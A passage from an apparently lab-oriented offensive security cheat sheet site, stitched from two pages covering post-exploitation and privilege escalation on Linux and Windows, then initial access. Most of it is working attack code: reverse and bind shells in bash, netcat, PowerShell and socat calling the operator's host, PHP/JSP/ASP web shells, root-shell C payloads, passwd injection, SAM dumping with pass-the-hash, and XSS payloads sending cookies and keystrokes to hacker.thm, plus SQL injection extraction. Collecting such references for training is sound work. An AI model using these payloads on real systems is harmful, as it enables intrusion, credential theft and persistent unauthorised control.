linenum.sh SCP (Secure Copy)\nWhen SSH credentials are available:\n# Copy file to remote host scp linenum.sh user@remotehost:/tmp/linenum.sh # Copy file from remote host scp user@remotehost:/remote/file.txt ./local/ Base64 Encoding\nFor environments with restricted network access:\n# On our machine: encode the file base64 shell -w 0 # On target: decode and save echo \u0026#34;\u0026lt;base64_string\u0026gt;\u0026#34; | base64 -d \u0026gt; shell # Verify the file format file shell # Verify integrity with checksums (compare on both hosts) md5sum shell Initial Access \u0026amp; Foothold Shell Upgrades\nOnce we have a basic shell, upgrade it for better interaction:\n# Python 2 TTY upgrade python -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; # Python 3 TTY upgrade python3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; # For full interactive TTY, after spawning pty: # Press Ctrl+Z to background # stty raw -echo; fg # Then on target: reset; export SHELL=bash; export TERM=xterm-256color Reverse Shells\nCommon reverse shell one-liners:\n# Bash reverse shell bash -i \u0026gt;\u0026amp; /dev/tcp/\u0026lt;our_ip\u0026gt;/\u0026lt;port\u0026gt; 0\u0026gt;\u0026amp;1 # Alternative bash reverse shell rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc \u0026lt;our_ip\u0026gt; \u0026lt;port\u0026gt; \u0026gt;/tmp/f # PHP reverse shell (for upload scenarios) \u0026lt;?php system(\u0026#34;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc \u0026lt;our_ip\u0026gt; \u0026lt;port\u0026gt; \u0026gt;/tmp/f\u0026#34;); ?\u0026gt; Set up a listener on our machine:\n# Netcat listener nc -lvnp \u0026lt;port\u0026gt; Using Metasploit\nFor framework-based exploitation:\n# Start Metasploit msfconsole # Search for exploits search \u0026lt;application_name\u0026gt; # Select and configure use 0 set rhosts \u0026lt;target_ip\u0026gt; set lhost \u0026lt;our_ip\u0026gt; show options # Set credentials if needed set username admin set password \u0026lt;password\u0026gt; set targeturi /path # Choose payload set payload generic/shell_reverse_tcp # Execute exploit Pivoting After compromising a host, we use it as a foothold to reach other networks.\nMetasploit Routing\nConfigure routing through a compromised session:\n# Add route for a specific host through session -1 (latest session) route add \u0026lt;target_subnet\u0026gt; \u0026lt;netmask\u0026gt; \u0026lt;session_id\u0026gt; # Examples route add 172.17.0.1/32 -1 route add 172.28.101.48/29 -1 # View routing table route print SOCKS Proxy\nSet up a proxy for tunneling traffic:\n# In Metasploit: set up SOCKS proxy use auxiliary/server/socks_proxy set SRVPORT 9050 run # Use with curl curl --proxy socks4a://localhost:9050 http://\u0026lt;target_ip\u0026gt; # Use with ProxyChains (configure /etc/proxychains.conf first) proxychains -q nmap -n -sT -Pn -p 22,80,443,5432 \u0026lt;target_ip\u0026gt; Linux Privilege Escalation Automated Enumeration\nUse scripts to speed up the process:\n# Download LinEnum to target wget http://\u0026lt;our_ip\u0026gt;:8080/LinEnum.sh chmod +x LinEnum.sh ./LinEnum.sh # Alternative: linux-exploit-suggester perl linux-exploit-suggester-2.pl SUID/SGID Exploitation\nFiles that run with owner permissions can be exploited:\n# List all SUID/SGID files find / -type f -perm -04000 -ls 2\u0026gt;/dev/null # Check for capabilities getcap -r / 2\u0026gt;/dev/null # Example: Vim with capabilities ./vim -c \u0026#39;:py3 import os; os.setuid(0); os.execl(\u0026#34;/bin/sh\u0026#34;, \u0026#34;sh\u0026#34;, \u0026#34;-c\u0026#34;, \u0026#34;reset; exec sh\u0026#34;)\u0026#39; # Check GTFOBins for specific binary exploits LD_PRELOAD Exploitation\nIf env_keep includes LD_PRELOAD, we can inject shared libraries.\nCheck if LD_PRELOAD is preserved. sudo -l | grep LD_PRELOAD Create malicious shared object (shell.c): #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; void _init() { unsetenv(\u0026#34;LD_PRELOAD\u0026#34;); setgid(0); setuid(0); system(\u0026#34;/bin/bash\u0026#34;); } Compile: gcc -fPIC -shared -o shell.so shell.c -nostartfiles Execute with sudo: sudo LD_PRELOAD=/home/user/shell.so \u0026lt;program\u0026gt; PATH Variable Exploitation\nWhen scripts reference commands without full paths:\n# Find writable directories find / -writable 2\u0026gt;/dev/null | cut -d \u0026#34;/\u0026#34; -f 2 | sort -u # Prepend malicious directory to PATH export PATH=/tmp:$PATH # Create malicious executable echo \u0026#34;/bin/bash\u0026#34; \u0026gt; /tmp/\u0026lt;command_name\u0026gt; chmod 777 /tmp/\u0026lt;command_name\u0026gt; # Restore original PATH when done export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin Cron Job Exploitation\nAbuse scheduled tasks for privilege escalation:\n# Common cron directories /etc/crontab /etc/cron.d /var/spool/cron/crontabs/root # Check for PATH in cron jobs cat /etc/crontab | grep PATH # If we have write access to a script in PATH: #!/bin/bash cp /bin/bash /tmp/rootbash chmod +xs /tmp/rootbash # Wait for execution, then run /tmp/rootbash -p Cron Wildcard Exploitation\nIf a cron job uses wildcards with tar:\n# Create payload msfvenom -p linux/x64/shell_reverse_tcp -f elf -o shell.elf lhost=\u0026lt;our_ip\u0026gt; lport=\u0026lt;port\u0026gt; chmod +x shell.elf # Create trigger files touch --checkpoint=1 touch --checkpoint-action=exec=shell.elf NFS Exploitation\nWhen NFS shares are configured with no_root_squash.\nCheck NFS exports on target. cat /etc/exports From our machine \u0026ndash; enumerate shares. showmount -e \u0026lt;target_ip\u0026gt; Mount the share. mkdir /tmp/nfs_mount mount -o rw \u0026lt;target_ip\u0026gt;:/backups /tmp/nfs_mount Create SUID binary on our machine. int main() { setgid(0); setuid(0); system(\u0026#34;/bin/bash\u0026#34;); return 0; } Prepare the binary. gcc nfs.c -o nfs -w chmod +s nfs Execute on target after copying to mounted share. Shared Object Injection\nWhen SUID binaries look for shared libraries.\nTrace system calls to find missing libraries. strace /usr/local/bin/suid-so 2\u0026gt;\u0026amp;1 | grep -iE \u0026#34;open|access|no such file\u0026#34; Create malicious library: Prepare the workspace: mkdir -p /home/user/.config Prepare the library (libcalc.c): // libcalc.c #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; static void inject() __attribute__((constructor)); void inject() { setuid(0); system(\u0026#34;/bin/bash -p\u0026#34;); } Compile. gcc -shared -fPIC -o /home/user/.config/libcalc.so libcalc.c Execute the SUID binary. /usr/local/bin/suid-so Environment Variable Exploitation\nFor SUID binaries that inherit PATH.\nCheck what commands the binary runs. strings /usr/local/bin/suid-env If it calls \u0026lsquo;service\u0026rsquo; without full path, create our own. // service.c int main() { setuid(0); system(\u0026#34;/bin/bash -p\u0026#34;); } Compile. gcc -o service service.c Adjust the PATH. PATH=.:$PATH /usr/local/bin/suid-env Bash Function Exploitation (Bash \u0026lt; 4.2-048):\n# Create function matching the command path function /usr/sbin/service { /bin/bash -p; } export -f /usr/sbin/service /usr/local/bin/suid-env2 PS4 Variable Exploitation (Bash \u0026lt; 4.4):\nenv -i SHELLOPTS=xtrace PS4=\u0026#39;$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)\u0026#39; /usr/local/bin/suid-env2 /tmp/rootbash -p Password and Credential Hunting\nSearch for exposed credentials:\n# Check history files cat ~/.*history | less # Search for passwords in config files cat /home/user/*.ovpn grep -r password /home/user/ 2\u0026gt;/dev/null # Check for SSH keys find / -name \u0026#34;id_rsa\u0026#34; 2\u0026gt;/dev/null find / -name \u0026#34;authorized_keys\u0026#34; 2\u0026gt;/dev/null SSH Key Exploitation:\n# If we find a private key chmod 600 id_rsa ssh user@\u0026lt;target\u0026gt; -i id_rsa # If we can write to authorized_keys ssh-keygen -f key echo \u0026#34;\u0026lt;public_key_content\u0026gt;\u0026#34; \u0026gt;\u0026gt; /root/.ssh/authorized_keys ssh root@\u0026lt;target\u0026gt; -i key PASSWD/SHADOW File Manipulation\nIf we have write access:\n# Create password hash for /etc/shadow mkpasswd -m sha-512 \u0026lt;password\u0026gt; # Create password hash for /etc/passwd openssl passwd -1 -salt \u0026lt;salt\u0026gt; \u0026lt;password\u0026gt; # Add user to /etc/passwd echo \u0026#34;\u0026lt;username\u0026gt;:\u0026lt;hash\u0026gt;:0:0:root:/root:/bin/bash\u0026#34; \u0026gt;\u0026gt; /etc/passwd su \u0026lt;username\u0026gt; Kernel Exploits\nWhen other methods fail, consider kernel exploits:\n# Example: DirtyCow gcc -pthread dirtycow.c -o dirtycow ./dirtycow /usr/bin/passwd # Triggers root shell # Clean up mv /tmp/bak /usr/bin/passwd PHP SUDO Exploit\nIf we can run PHP with sudo:\nsudo /usr/bin/php -r \u0026#39;system(\u0026#34;cat /root/root.txt\u0026#34;);\u0026#39; Windows Privilege Escalation Understanding Windows Accounts\nKey account types:\nSYSTEM/LocalSystem: Highest privileges, used by OS Local Service: Minimal privileges, anonymous network connections Network Service: Minimal privileges, uses computer credentials for network auth Administrators: High privileges but below SYSTEM Credential Harvesting\nCommon locations for stored credentials:\nUnattended Installation Files:\nC:\\Unattend.xml C:\\Windows\\Panther\\Unattend.xml C:\\Windows\\Panther\\Unattend\\Unattend.xml C:\\Windows\\system32\\sysprep.inf C:\\Windows\\system32\\sysprep\\sysprep.xml PowerShell History:\n# From cmd.exe type %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt # From PowerShell type $Env:userprofile\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt Saved Credentials:\n:: List saved credentials cmdkey /list :: Use saved credentials runas /savecred /user:admin cmd.exe IIS Configuration:\ntype C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web.config | findstr connectionString PuTTY Sessions:\nreg query HKEY_CURRENT_USER\\Software\\SimonTatham\\PuTTY\\Sessions\\ /f \u0026#34;Proxy\u0026#34; /s Scheduled Tasks\nAbuse Windows Task Scheduler:\n:: List scheduled tasks schtasks :: Get detailed information schtasks /query /tn \u0026lt;taskname\u0026gt; /fo list /v :: Check permissions on task executable icacls C:\\tasks\\schtask.bat :: Replace with reverse shell echo C:\\tools\\nc64.exe -e cmd.exe \u0026lt;our_ip\u0026gt; \u0026lt;port\u0026gt; \u0026gt; C:\\tasks\\schtask.bat :: Run task manually (if possible) schtasks /run /tn \u0026lt;taskname\u0026gt; AlwaysInstallElevated\nExploit Windows Installer privileges:\n:: Check registry keys reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer :: Generate malicious MSI msfvenom -p windows/x64/shell_reverse_tcp LHOST=\u0026lt;our_ip\u0026gt; LPORT=\u0026lt;port\u0026gt; -f msi -o malicious.msi :: Execute on target msiexec /quiet /qn /i C:\\Windows\\Temp\\malicious.msi Service Misconfigurations\nInsecure Service Permissions:\n:: Query service configuration sc qc \u0026lt;servicename\u0026gt; :: Check executable permissions icacls C:\\Program Files\\Service\\Service.exe :: Generate payload msfvenom -p windows/x64/shell_reverse_tcp LHOST=\u0026lt;our_ip\u0026gt; LPORT=\u0026lt;port\u0026gt; -f exe-service -o rev-svc.exe :: Replace executable move Service.exe Service.exe.bkp move rev-svc.exe Service.exe icacls Service.exe /grant Everyone:F :: Restart service sc stop \u0026lt;servicename\u0026gt; sc start \u0026lt;servicename\u0026gt; Unquoted Service Paths:\nWhen the service path contains spaces and isn\u0026rsquo;t quoted:\n:: Check folder permissions icacls \u0026#34;C:\\Program Files\\Vulnerable Service\u0026#34; :: If writable, place payload as earlier directory name :: Example: C:\\Program Files\\Vulnerable Service\\service.exe :: Place payload at: C:\\Program Files\\Vulnerable.exe Insecure Service DACL:\nUsing Sysinternals AccessChk.\naccesschk64.exe -qlc \u0026lt;servicename\u0026gt; :: Reconfigure service sc config \u0026lt;servicename\u0026gt; binPath= \u0026#34;C:\\Users\\unpriv\\rev-svc.exe\u0026#34; obj=LocalSystem sc stop \u0026lt;servicename\u0026gt; sc start \u0026lt;servicename\u0026gt; Abusing Privileges\nSeBackup/SeRestore:\n:: Save registry hives reg save hklm\\system C:\\Users\\backup\\system.hive reg save hklm\\sam C:\\Users\\backup\\sam.hive :: Transfer to our machine (using SMB) mkdir share python3 /opt/impacket/examples/smbserver.py -smb2support -username \u0026lt;user\u0026gt; -password \u0026lt;pass\u0026gt; public share :: Copy from target copy C:\\Users\\backup\\sam.hive \\\\\u0026lt;our_ip\u0026gt;\\public\\ :: Dump hashes python3 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL :: Pass-the-Hash python3 /opt/impacket/examples/psexec.py -hashes \u0026lt;hash\u0026gt; administrator@\u0026lt;target_ip\u0026gt; SeTakeOwnership:\n:: Take ownership of utilman.exe (Ease of Access application) takeown /f C:\\Windows\\System32\\Utilman.exe icacls C:\\Windows\\System32\\Utilman.exe /grant \u0026lt;username\u0026gt;:F :: Replace with cmd.exe copy C:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\Utilman.exe :: Trigger from lock screen by clicking Ease of Access SeImpersonate/SeAssignPrimaryToken:\nUse tools like RogueWinRM or JuicyPotato:\n# Start listener nc -lvp 4444 # Trigger exploit RogueWinRM.exe -p \u0026#34;C:\\tools\\nc64.exe\u0026#34; -a \u0026#34;-e cmd.exe \u0026lt;our_ip\u0026gt; 4444\u0026#34; Vulnerable Software\nCheck for exploitable installed software:\n:: List installed software wmic product get name,version,vendor :: Create admin user if we have privileges net user \u0026lt;username\u0026gt; \u0026lt;password\u0026gt; /add net localgroup administrators \u0026lt;username\u0026gt; /add Automated Tools\nWinPEAS:\nRun the binary and review output for privilege escalation vectors.\nPrivescCheck (PowerShell):\n# Bypass execution policy Set-ExecutionPolicy Bypass -Scope process -Force # Run check . .\\PrivescCheck.ps1 Invoke-PrivescCheck WES-NG (Windows Exploit Suggester):\n# On target systeminfo \u0026gt; systeminfo.txt # On our machine wes.py --update wes.py systeminfo.txt Metasploit Suggester:\nuse multi/recon/local_exploit_suggester set session \u0026lt;session_id\u0026gt; run ","permalink":"https://onebee.blog/blog/collection/offensive/post-exploitation/","summary":"Collection | Offensive | Post-Exploitation","title":"Offensive | Post-Exploitation"},{"content":"Exploitation: Gaining Access A practical reference for penetration testing techniques, from initial exploitation to establishing stable shell connections.\nEncoding \u0026amp; Decoding Data is often encoded in various formats during exploitation. Here are quick commands to handle common encodings.\nBase64 # Encode echo \u0026#34;https://www.hackthebox.eu/\u0026#34; | base64 # Decode echo \u0026#34;aHR0cHM6Ly93d3cuaGFja3RoZWJveC5ldS8K\u0026#34; | base64 -d Hexadecimal # Encode echo \u0026#34;https://www.hackthebox.eu/\u0026#34; | xxd -p # Decode echo \u0026#34;68747470733a2f2f7777772e6861636b746865626f782e65752f0a\u0026#34; | xxd -p -r ROT13 # Encode echo \u0026#34;https://www.hackthebox.eu/\u0026#34; | tr \u0026#39;A-Za-z\u0026#39; \u0026#39;N-ZA-Mn-za-m\u0026#39; # Decode echo \u0026#34;uggcf://jjj.unpxgurobk.rh/\u0026#34; | tr \u0026#39;A-Za-z\u0026#39; \u0026#39;N-ZA-Mn-za-m\u0026#39; Web Exploitation Cross-Site Scripting (XSS) XSS allows us to execute JavaScript in a victim\u0026rsquo;s browser. This can be used for session theft, keylogging, or defacing pages.\nBasic Proof of Concept\n\u0026lt;script\u0026gt;alert(\u0026#39;XSS\u0026#39;);\u0026lt;/script\u0026gt; Session Stealing\nCaptures the victim\u0026rsquo;s cookie, encodes it in Base64, and sends it to our server:\n\u0026lt;script\u0026gt;fetch(\u0026#39;https://hacker.thm/steal?cookie=\u0026#39; + btoa(document.cookie));\u0026lt;/script\u0026gt; Key Logger\nRecords everything the victim types and forwards it to us:\n\u0026lt;script\u0026gt;document.onkeypress = function(e) { fetch(\u0026#39;https://hacker.thm/log?key=\u0026#39; + btoa(e.key)); }\u0026lt;/script\u0026gt; Business Logic Abuse\nChanges the user\u0026rsquo;s email address (useful for account takeover):\n\u0026lt;script\u0026gt;user.changeEmail(\u0026#39;attacker@hacker.thm\u0026#39;);\u0026lt;/script\u0026gt; HTML Injection\nChanges the site\u0026rsquo;s background:\n\u0026lt;style\u0026gt; body { background-image: url(\u0026#39;https://academy.hackthebox.com/images/logo.svg\u0026#39;); } \u0026lt;/style\u0026gt; Filter Evasion Techniques\nWhen filters block common keywords:\nJavaScript escape:\n\u0026#39;;alert(\u0026#39;THM\u0026#39;);// Script tag filter bypass:\n\u0026lt;sscriptcript\u0026gt;alert(\u0026#39;THM\u0026#39;);\u0026lt;/sscriptcript\u0026gt; Angle bracket filter bypass:\n/images/cat.jpg\u0026#34; onload=\u0026#34;alert(\u0026#39;THM\u0026#39;); Polyglot (catches most filter variations):\njaVasCript:/*-/*`/*\\`/*\u0026#39;/*\u0026#34;/**/(/* */onerror=alert(\u0026#39;THM\u0026#39;) )//%0D%0A%0d%0a//\u0026lt;/stYle/\u0026lt;/titLe/\u0026lt;/teXtarEa/\u0026lt;/scRipt/--!\u0026gt;\\x3csVg/\u0026lt;sVg/oNloAd=alert(\u0026#39;THM\u0026#39;)//\u0026gt;\\x3e Quick Cookie Display\nUseful for testing reflected XSS:\n#\u0026#34;\u0026gt;\u0026lt;img src=/ onerror=alert(document.cookie)\u0026gt; Cross-Site Request Forgery (CSRF) CSRF tricks users into performing unintended actions. We can load remote JavaScript payloads:\n\u0026#34;\u0026gt;\u0026lt;script src=//www.example.com/exploit.js\u0026gt;\u0026lt;/script\u0026gt; SQL Injection SQL injection lets us interact with a database through unsanitized user input.\nBasic SQL Structure\nSelect statements:\n-- All columns select * from users; -- Specific columns select username, password from users; -- Limit results select * from users LIMIT 1; -- Skip first result, then limit select * from users LIMIT 1,1; -- Filter results select * from users where username=\u0026#39;admin\u0026#39;; select * from users where username != \u0026#39;admin\u0026#39;; select * from users where username=\u0026#39;admin\u0026#39; or username=\u0026#39;jon\u0026#39;; select * from users where username=\u0026#39;admin\u0026#39; and password=\u0026#39;p4ssword\u0026#39;; -- Wildcard searches select * from users where username like \u0026#39;a%\u0026#39;; -- starts with \u0026#39;a\u0026#39; select * from users where username like \u0026#39;%n\u0026#39;; -- ends with \u0026#39;n\u0026#39; select * from users where username like \u0026#39;%mi%\u0026#39;; -- contains \u0026#39;mi\u0026#39; Union statements (combine results):\nselect name,address,city,postcode from customers union select company,address,city,postcode from suppliers; Insert, Update, Delete:\n-- Insert new row insert into users (username,password) values (\u0026#39;bob\u0026#39;,\u0026#39;password123\u0026#39;); -- Update existing row update users set username=\u0026#39;root\u0026#39;,password=\u0026#39;pass123\u0026#39; where username=\u0026#39;admin\u0026#39;; -- Delete row delete from users where username=\u0026#39;martin\u0026#39;; -- Delete all data (dangerous!) delete from users; Union-Based SQL Injection\nStep-by-step enumeration:\nTest for vulnerability (comment out the rest): https://website.thm/blog?id=2;-- Determine column count (increase until no error): 1 union select 1 1 union select 1,2,3 Display our data (use 0 to return no results from original query): 0 union select 1,2,3 Get database name: 0 union select 1,2,database() List tables: 0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = \u0026#39;sqli_one\u0026#39; List columns in a table: 0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = \u0026#39;staff_users\u0026#39; Extract credentials: 0 UNION SELECT 1,2,group_concat(username,\u0026#39;:\u0026#39;,password SEPARATOR \u0026#39;\u0026lt;br\u0026gt;\u0026#39;) FROM staff_users Authentication Bypass\nBypass login forms without knowing credentials:\nOriginal query:\nselect * from users where username=\u0026#39;%username%\u0026#39; and password=\u0026#39;%password%\u0026#39; LIMIT 1; Bypass payload:\n\u0026#39; OR 1=1;-- This creates:\nselect * from users where username=\u0026#39;\u0026#39; and password=\u0026#39;\u0026#39; OR 1=1; Blind SQL Injection\nWhen errors aren\u0026rsquo;t displayed, we use boolean or time-based techniques.\nBoolean-Based (true/false responses):\nCheck if user exists: admin123\u0026#39; UNION SELECT 1;-- Enumerate database name letter by letter: admin123\u0026#39; UNION SELECT 1,2,3 where database() like \u0026#39;a%\u0026#39;;-- admin123\u0026#39; UNION SELECT 1,2,3 where database() like \u0026#39;s%\u0026#39;;-- Find tables: admin123\u0026#39; UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = \u0026#39;sqli_three\u0026#39; and table_name like \u0026#39;a%\u0026#39;;-- Find columns: admin123\u0026#39; UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=\u0026#39;sqli_three\u0026#39; and TABLE_NAME=\u0026#39;users\u0026#39; and COLUMN_NAME like \u0026#39;a%\u0026#39;; Extract data: admin123\u0026#39; UNION SELECT 1,2,3 from users where username like \u0026#39;a%\u0026#39; admin123\u0026#39; UNION SELECT 1,2,3 from users where username=\u0026#39;admin\u0026#39; and password like \u0026#39;a%\u0026#39; Time-Based (when no visual feedback exists)\nUse sleep() to detect success:\nadmin123\u0026#39; union select sleep(5);-- admin123\u0026#39; union select 1,sleep(5);-- If the response delays by 5 seconds, our query executed successfully.\nPostgreSQL with Metasploit\n# Dump the schema use auxiliary/scanner/postgres/postgres_schemadump run postgres://postgres:postgres@172.28.101.51/postgres # Query specific table use auxiliary/admin/postgres/postgres_sql run postgres://postgres:postgres@172.28.101.51/postgres sql=\u0026#39;select * from users\u0026#39; Web Shells Web shells give us command execution through the web server.\nPHP Shells\nBasic Linux shell:\n\u0026lt;?php echo \u0026#34;\u0026lt;pre\u0026gt;\u0026#34; . shell_exec($_GET[\u0026#34;cmd\u0026#34;]) . \u0026#34;\u0026lt;/pre\u0026gt;\u0026#34;; ?\u0026gt; Or simpler:\n\u0026lt;?php system($_REQUEST[\u0026#34;cmd\u0026#34;]); ?\u0026gt; Deploy via command line:\necho \u0026#39;\u0026lt;?php system($_REQUEST[\u0026#34;cmd\u0026#34;]); ?\u0026gt;\u0026#39; \u0026gt; /var/www/html/shell.php Usage:\n# Browser http://SERVER_IP:PORT/shell.php?cmd=id # Curl curl http://SERVER_IP:PORT/shell.php?cmd=id Get reverse shell through web shell:\nnc \u0026lt;lhost\u0026gt; \u0026lt;lport\u0026gt; -e /bin/bash Kali includes pre-built shells:\n/usr/share/webshells/php/php-reverse-shell.php JSP Shell\n\u0026lt;% Runtime.getRuntime().exec(request.getParameter(\u0026#34;cmd\u0026#34;)); %\u0026gt; ASP Shell\n\u0026lt;% eval request(\u0026#34;cmd\u0026#34;) %\u0026gt; Common Web Roots\nServer Path Apache /var/www/html/ Nginx /usr/local/nginx/html/ IIS c:\\inetpub\\wwwroot\\ XAMPP C:\\xampp\\htdocs\\ Shell Connections Netcat Shells Netcat is the Swiss Army knife of networking.\nReverse Shells (target connects to us)\nStart listener on our machine:\nnc -lvnp \u0026lt;port\u0026gt; # -l = listen, -v = verbose, -n = no DNS, -p = port Bash reverse shell:\nbash -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/\u0026lt;lhost\u0026gt;/\u0026lt;lport\u0026gt; 0\u0026gt;\u0026amp;1\u0026#39; # Or directly: bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.45/8443 0\u0026gt;\u0026amp;1 Using named pipe:\nmkfifo /tmp/f; nc \u0026lt;lhost\u0026gt; \u0026lt;port\u0026gt; \u0026lt; /tmp/f | /bin/sh \u0026gt;/tmp/f 2\u0026gt;\u0026amp;1; rm /tmp/f URL-encoded for command injection:\nbash -c \u0026#39;bash -i \u0026gt;%26 /dev/tcp/10.10.14.93/4333 0\u0026gt;%261\u0026#39; PowerShell reverse shell:\npowershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(\u0026#34;\u0026lt;lhost\u0026gt;\u0026#34;,\u0026lt;lport\u0026gt;);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2\u0026gt;\u0026amp;1 | Out-String );$sendback2 = $sendback + \u0026#34;PS \u0026#34; + (pwd).Path + \u0026#34;\u0026gt; \u0026#34;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() Bind Shells (we connect to target)\nTarget runs:\nBash: mkfifo /tmp/f; nc \u0026lt;local-ip\u0026gt; \u0026lt;port\u0026gt; \u0026lt; /tmp/f | /bin/sh \u0026gt;/tmp/f 2\u0026gt;\u0026amp;1; rm /tmp/f Python: python -c \u0026#39;exec(\u0026#34;\u0026#34;\u0026#34;import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind((\u0026#34;0.0.0.0\u0026#34;,1234));s1.listen(1);c,a=s1.accept();\\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())\u0026#34;\u0026#34;\u0026#34;)\u0026#39; PowerShell: powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]1234; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2\u0026gt;\u0026amp;1 | Out-String );$sendback2 = $sendback + \u0026#34;PS \u0026#34; + (pwd).Path + \u0026#34; \u0026#34;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(); We connect:\nnc \u0026lt;rhost\u0026gt; 1234 Socat Shells Socat provides more feature-rich connections than Netcat.\nReverse Shell with Socat\nOur machine (listener):\nsocat TCP-L:\u0026lt;port\u0026gt; - Linux target:\nsocat TCP:\u0026lt;lhost\u0026gt;:\u0026lt;lport\u0026gt; EXEC:\u0026#34;bash -li\u0026#34; Windows target:\nsocat TCP:\u0026lt;lhost\u0026gt;:\u0026lt;lport\u0026gt; EXEC:powershell.exe,pipes Bind Shell with Socat\nLinux target:\nsocat TCP-L:\u0026lt;port\u0026gt; EXEC:\u0026#34;bash -li\u0026#34; Windows target:\nsocat TCP-L:\u0026lt;port\u0026gt; EXEC:powershell.exe,pipes Our machine (connect):\nsocat TCP:\u0026lt;rhost\u0026gt;:\u0026lt;rport\u0026gt; - Fully Stable TTY Shell\nOur machine:\nsocat TCP-L:\u0026lt;port\u0026gt; FILE:`tty`,raw,echo=0 Linux target:\nsocat TCP:\u0026lt;lhost\u0026gt;:\u0026lt;lport\u0026gt; EXEC:\u0026#34;bash -li\u0026#34;,pty,stderr,sigint,setid,sane Add -d -d for debugging output.\nEncrypted Socat Shells\nGenerate certificate:\nopenssl req --newkey rsa:2048 -nodes -keyout shell.key -X509 -days 362 -out shell.crt cat shell.key shell.crt \u0026gt; shell.pem Encrypted reverse shell:\n# Our machine socat OPENSSL-LISTEN:\u0026lt;port\u0026gt;,cert=shell.pem,verify=0 - # Target socat OPENSSL:\u0026lt;lhost\u0026gt;:\u0026lt;lport\u0026gt;,verify=0 EXEC:/bin/bash Encrypted bind shell:\n# Target socat openssl-listen:\u0026lt;port\u0026gt;,cert=shell.pem,verify=0 exec:cmd.exe,pipes # Our machine socat openssl:\u0026lt;rhost\u0026gt;:\u0026lt;rport\u0026gt;,verify=0 - Encrypted TTY shell:\n# Listener socat openssl-listener:\u0026lt;port\u0026gt;,cert=encrypt.pem,verify=0 file=`tty`,raw,echo=0 # Speaker socat openssl:\u0026lt;lhost\u0026gt;:\u0026lt;lport\u0026gt;,verify=0 exec:\u0026#34;bash -li\u0026#34;,pty,stderr,sigint,setsid,sane Shell Stabilization Basic shells are often unstable. Here is how to improve them.\nPython PTY (Linux)\nOn the target:\npython -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; # Or python3: python3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; export TERM=xterm Then on our machine:\nPress Ctrl+Z to background Run: stty raw -echo; fg Press Enter twice Using RLWRAP (Best for Windows)\nrlwrap adds readline capabilities:\nrlwrap nc -lvnp \u0026lt;port\u0026gt; For Linux shells, further stabilize with:\nCtrl+Z to background stty raw -echo; fg Terminal Size\nFix display issues by matching terminal dimensions:\nOur machine:\nstty -a # Note rows and columns Target:\nstty rows \u0026lt;number\u0026gt; stty cols \u0026lt;number\u0026gt; Metasploit Framework A powerful exploitation platform.\nBasic Usage\nSearch for exploits:\n# Search exploit database searchsploit openssh 7.2 # Launch Metasploit msfconsole # Search within Metasploit search exploit eternalblue search cve:2009 type:exploit Configure and run:\n# Select exploit use exploit/windows/smb/ms17_010_psexec # View options show options # Set targets set rhost 10.10.10.40 # Target IP set lhost tun0 # Our IP (VPN interface) # Check if vulnerable (if available) check # Execute exploit Session Management\nUpgrade to Meterpreter:\nsessions -u -1 Resolve hostnames:\nresolve webservice_database Pivoting\nRoute traffic through compromised hosts:\n# Add route through last session route add \u0026lt;ip\u0026gt;/32 -1 # View routes route print SOCKS Proxy for Pivoting\nuse auxiliary/server/socks_proxy run srvhost=127.0.0.1 srvport=9050 version=4a Test the proxy:\ncurl --proxy socks4a://localhost:9050 http://172.17.0.1 -v Scan through proxy:\nproxychains -q nmap -n -sT -Pn -p 22,80,443,5432 172.17.0.1 SSH through Metasploit:\nuse 